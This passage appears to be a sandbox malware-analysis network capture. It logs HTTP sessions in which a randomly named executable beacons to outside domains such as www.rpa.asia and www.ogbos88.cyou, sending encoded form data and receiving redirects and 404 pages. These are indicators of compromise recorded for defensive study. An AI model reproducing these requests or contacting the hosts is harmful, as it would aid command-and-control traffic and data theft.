S5WY8+qi+62dJeNv0DmhMP3hyGbMBsaMibcpVVewsDNpLXTrvGH5NcCkhqhV5vHntWgHr0ZkZl/KrgSC7NzWF6mnVvNRuXROwHMFLzjATylER94zk8KTZSMigRk2y4d+MEtQxkag7O2h1YfKCXQ34b+TU/MRprtGeFOJKKOiCFKWCnUumUaQbZF0l+MZ2n3aKGwrzHI7zV6g3U7JggiYEqD3a0V02eZb1WOFtDeNgtFTKO5qhkW5dgrkOqYZFqJk0ziLNEZVU7QQRiyhMfu72pWAgNYyYyQs8E9Ymf7GjLbMFVkBUuF94ELLf4pj9Is8xzzxr4VQHd702bYU [TRUNCATED]
Jan 9, 2025 16:55:19.503109932 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.30	49844	13.248.169.48	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:55:22.034774065 CET	535	OUT	GET /t3iv/?80k=lRapCPMXgDk&6B-l7F=P136bSYw/boin6uqIxZ+PLa4sXTYWAHk9qKLeTmXrWAePyaHTSDMFoauBTWx0ig1S3CVFsx30iUtjRVQiBy55I3Yp99Gh3kk8H5H2CMMqknG4ydwL3V23OA= HTTP/1.1 Host: www.bonheur.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:55:22.175661087 CET	379	IN	HTTP/1.1 200 OK content-type: text/html date: Thu, 09 Jan 2025 15:55:22 GMT content-length: 258 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 38 30 6b 3d 6c 52 61 70 43 50 4d 58 67 44 6b 26 36 42 2d 6c 37 46 3d 50 31 33 36 62 53 59 77 2f 62 6f 69 6e 36 75 71 49 78 5a 2b 50 4c 61 34 73 58 54 59 57 41 48 6b 39 71 4b 4c 65 54 6d 58 72 57 41 65 50 79 61 48 54 53 44 4d 46 6f 61 75 42 54 57 78 30 69 67 31 53 33 43 56 46 73 78 33 30 69 55 74 6a 52 56 51 69 42 79 35 35 49 33 59 70 39 39 47 68 33 6b 6b 38 48 35 48 32 43 4d 4d 71 6b 6e 47 34 79 64 77 4c 33 56 32 33 4f 41 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?80k=lRapCPMXgDk&6B-l7F=P136bSYw/boin6uqIxZ+PLa4sXTYWAHk9qKLeTmXrWAePyaHTSDMFoauBTWx0ig1S3CVFsx30iUtjRVQiBy55I3Yp99Gh3kk8H5H2CMMqknG4ydwL3V23OA="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.30	49845	160.25.166.123	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:55:28.188802004 CET	787	OUT	POST /bwjl/ HTTP/1.1 Host: www.rpa.asia Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.rpa.asia Referer: http://www.rpa.asia/bwjl/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 4f 6e 2f 30 55 6b 30 67 4b 6c 63 67 78 7a 39 6d 75 4f 35 64 48 50 31 76 52 6e 35 43 38 56 44 71 6a 50 65 4b 42 58 6e 66 38 50 4a 78 2b 34 2f 75 68 69 7a 41 35 62 35 36 52 46 57 4d 6e 71 52 37 6b 69 6c 32 34 4d 4a 53 32 63 78 4d 30 55 44 4e 32 67 74 66 6a 68 74 57 56 6f 35 4a 61 48 50 5a 63 31 4b 7a 6f 77 78 4e 41 46 73 53 4c 4d 48 33 5a 51 58 78 68 4a 54 51 49 52 48 72 2f 30 37 6a 42 39 72 68 31 6c 36 52 67 70 66 43 6b 2f 45 75 6d 66 72 7a 75 72 48 30 36 47 4a 6b 48 30 39 44 58 75 62 6b 36 58 4a 65 47 56 2b 42 72 75 4a 41 67 47 4b 30 43 62 63 6f 34 57 76 37 4a 63 61 31 7a 41 3d 3d Data Ascii: 6B-l7F=On/0Uk0gKlcgxz9muO5dHP1vRn5C8VDqjPeKBXnf8PJx+4/uhizA5b56RFWMnqR7kil24MJS2cxM0UDN2gtfjhtWVo5JaHPZc1KzowxNAFsSLMH3ZQXxhJTQIRHr/07jB9rh1l6RgpfCk/EumfrzurH06GJkH09DXubk6XJeGV+BruJAgGK0Cbco4Wv7Jca1zA==
Jan 9, 2025 16:55:28.531186104 CET	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 15:55:28 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Jan 9, 2025 16:55:28.531197071 CET	200	IN	Data Raw: 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e Data Ascii: powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.30	49846	160.25.166.123	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:55:31.089350939 CET	807	OUT	POST /bwjl/ HTTP/1.1 Host: www.rpa.asia Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.rpa.asia Referer: http://www.rpa.asia/bwjl/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 4f 6e 2f 30 55 6b 30 67 4b 6c 63 67 6a 43 4e 6d 68 4e 52 64 47 76 31 73 66 48 35 43 70 6c 44 6d 6a 50 61 4b 42 56 4c 50 38 39 64 78 39 63 7a 75 67 67 4c 41 38 62 35 36 65 6c 58 49 34 36 51 57 6b 69 68 45 34 4a 70 53 32 63 6c 4d 30 56 7a 4e 32 54 46 63 78 42 74 55 4f 34 35 48 55 6e 50 5a 63 31 4b 7a 6f 77 4d 67 41 45 45 53 49 38 33 33 61 78 58 79 73 70 54 54 66 68 48 72 70 30 37 76 42 39 71 30 31 6b 6d 37 67 76 44 43 6b 2b 30 75 6d 4f 72 77 67 72 48 74 30 6d 49 4d 50 47 30 37 4f 2b 2f 6d 71 47 38 48 48 41 36 6c 6a 5a 6b 61 39 46 2b 32 52 37 67 46 6b 58 43 54 4c 65 62 75 75 49 4d 33 39 57 2f 6c 49 64 2f 76 36 62 68 50 55 6f 63 66 6d 39 49 3d Data Ascii: 6B-l7F=On/0Uk0gKlcgjCNmhNRdGv1sfH5CplDmjPaKBVLP89dx9czuggLA8b56elXI46QWkihE4JpS2clM0VzN2TFcxBtUO45HUnPZc1KzowMgAEESI833axXyspTTfhHrp07vB9q01km7gvDCk+0umOrwgrHt0mIMPG07O+/mqG8HHA6ljZka9F+2R7gFkXCTLebuuIM39W/lId/v6bhPUocfm9I=
Jan 9, 2025 16:55:31.447804928 CET	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 15:55:31 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Jan 9, 2025 16:55:31.447814941 CET	200	IN	Data Raw: 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e Data Ascii: powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.30	49847	160.25.166.123	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:55:33.979420900 CET	3924	OUT	POST /bwjl/ HTTP/1.1 Host: www.rpa.asia Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.rpa.asia Referer: http://www.rpa.asia/bwjl/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 4f 6e 2f 30 55 6b 30 67 4b 6c 63 67 6a 43 4e 6d 68 4e 52 64 47 76 31 73 66 48 35 43 70 6c 44 6d 6a 50 61 4b 42 56 4c 50 38 39 6c 78 39 70 76 75 69 42 4c 41 2f 62 35 36 58 46 58 4c 34 36 52 55 6b 6b 4a 41 34 4a 74 6f 32 66 64 4d 79 33 4c 4e 77 69 46 63 6f 78 74 55 52 6f 35 4b 61 48 4f 52 63 30 36 33 6f 32 73 67 41 45 45 53 49 2b 76 33 4e 77 58 79 71 70 54 51 49 52 48 6e 2f 30 37 4c 42 39 69 6b 31 6b 69 42 67 70 58 43 6b 4e 4d 75 68 38 44 77 67 72 48 74 72 47 49 4e 50 47 6f 32 4f 2b 33 79 71 48 31 38 45 30 36 6c 68 75 52 61 6c 52 32 58 49 70 30 75 34 7a 50 6b 43 76 76 39 78 4c 63 46 34 77 6e 6b 42 75 6a 4d 38 64 6c 69 41 61 63 4a 6b 59 72 71 6a 52 36 73 65 6a 79 72 78 65 38 61 39 6c 38 30 33 6c 38 32 62 2b 47 65 70 77 4c 36 4e 49 66 41 53 50 69 44 6a 78 6b 6b 31 54 4e 52 34 4f 62 6a 45 74 59 69 68 31 31 37 37 57 43 62 2b 56 6f 33 71 52 46 66 53 39 5a 66 65 78 67 56 32 41 30 72 61 33 55 43 68 46 59 51 35 64 38 78 33 6c 75 38 6f 55 61 6c 53 58 64 50 63 53 2b 6c 76 6c 6f 41 59 7a 6e [TRUNCATED] Data Ascii: 6B-l7F=On/0Uk0gKlcgjCNmhNRdGv1sfH5CplDmjPaKBVLP89lx9pvuiBLA/b56XFXL46RUkkJA4Jto2fdMy3LNwiFcoxtURo5KaHORc063o2sgAEESI+v3NwXyqpTQIRHn/07LB9ik1kiBgpXCkNMuh8DwgrHtrGINPGo2O+3yqH18E06lhuRalR2XIp0u4zPkCvv9xLcF4wnkBujM8dliAacJkYrqjR6sejyrxe8a9l803l82b+GepwL6NIfASPiDjxkk1TNR4ObjEtYih1177WCb+Vo3qRFfS9ZfexgV2A0ra3UChFYQ5d8x3lu8oUalSXdPcS+lvloAYzncDmJc9a+uVVJcviBJlqCatS/Kd3Cwkeu7S2ikLafNUHHDRAUwZeEdOCkujulYzKH4RKZ3MLSmm74jZVOjaLUz/XwDC43zkx5zf7A2Le3lqs5REb5BxZYWgqu44jwmb71HwqduGZzWYuOeIb8yQuviwD4E5kPOvpQzov1N1FyKeTXQuwBHCRj8luzmM4PV8iWqf4WHZ6Gkj6FWkXJS+erg7AxstXkJOI8ujkysQsgKn6UzHWJpvpFfzZdqXS7CjjkfzkNCk915PNreSd4a8kFjmWWyJJN5KnRFZA7K9QcitJgWtYMy9NSo9G+5yRLyoGvvDhGFQU1A/2UdUNZcr7AAwHa/STI3azCl2UYdIlx7il6VC5fyWNjzlqtSZdlTr2rXSvVcTX967AsT0uPsvZa184HEMuCk3yyHYC6TFa7yF08BtAY5jYBF588Xwd48Wy2/cEsLlrmU4KBS/OJSXOlnMHutdE+VuXEcyDcqjDC0DkKrqtrOCPWdg35+ejjW50uD4zSGJyxK9S160mPnLUE1dLnMKKN/M1uSj0Nvd4kkNR7UWPDEpMtv7AV01B25ipraOrUvUgUyZ0fzvQQFb7L4ALyJKg5fdWFb4OmkILcI57hEF0QbJq6evMc0Mty3ydZuWMNcMn3gRKpelWnY7dkAHc+IrPaQahOIs [TRUNCATED]
Jan 9, 2025 16:55:34.328692913 CET	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 15:55:34 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Jan 9, 2025 16:55:34.328737020 CET	200	IN	Data Raw: 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e Data Ascii: powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.30	49848	160.25.166.123	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:55:36.868823051 CET	531	OUT	GET /bwjl/?6B-l7F=DlXUXSIcZnIsgzlziINoOaBHIWRz+kGepY2CMnKH5/Z+wLXeqyLz34dEMj2dm6NLuVk54f0N3OpI5VHZ7BJAsS5zdqtXFQ+nWWO+v1ALJkcTW8WFFCOZqPs=&80k=lRapCPMXgDk HTTP/1.1 Host: www.rpa.asia Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:55:37.220998049 CET	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 15:55:37 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Jan 9, 2025 16:55:37.221043110 CET	200	IN	Data Raw: 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e Data Ascii: powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.30	49849	172.67.132.227	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:55:42.542651892 CET	799	OUT	POST /kj1o/ HTTP/1.1 Host: www.ogbos88.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.ogbos88.cyou Referer: http://www.ogbos88.cyou/kj1o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 58 48 6f 54 6b 49 62 46 31 48 6d 63 52 4e 4d 55 49 62 46 5a 6b 43 7a 6c 55 66 79 74 78 79 67 4e 51 6c 33 48 61 6c 51 57 41 7a 6c 54 61 69 4b 76 72 4f 59 67 6b 44 51 5a 73 46 51 32 41 37 76 4a 42 69 33 58 5a 6f 7a 54 31 63 56 6e 2f 76 66 32 45 32 58 47 51 4d 4e 35 34 37 47 30 79 35 61 58 58 41 36 71 75 32 68 72 46 34 4d 55 5a 63 64 6b 62 46 65 52 4f 61 66 5a 30 6e 5a 45 5a 5a 52 67 4b 74 69 36 30 4f 72 2b 35 44 65 48 76 53 48 34 69 52 50 56 2b 52 37 44 77 35 57 75 52 52 66 58 55 70 34 4d 70 72 36 44 78 77 6a 75 5a 42 4d 77 73 35 6d 77 32 4b 69 5a 37 62 45 42 6a 78 4a 4e 76 51 3d 3d Data Ascii: 6B-l7F=XHoTkIbF1HmcRNMUIbFZkCzlUfytxygNQl3HalQWAzlTaiKvrOYgkDQZsFQ2A7vJBi3XZozT1cVn/vf2E2XGQMN547G0y5aXXA6qu2hrF4MUZcdkbFeROafZ0nZEZZRgKti60Or+5DeHvSH4iRPV+R7Dw5WuRRfXUp4Mpr6DxwjuZBMws5mw2KiZ7bEBjxJNvQ==
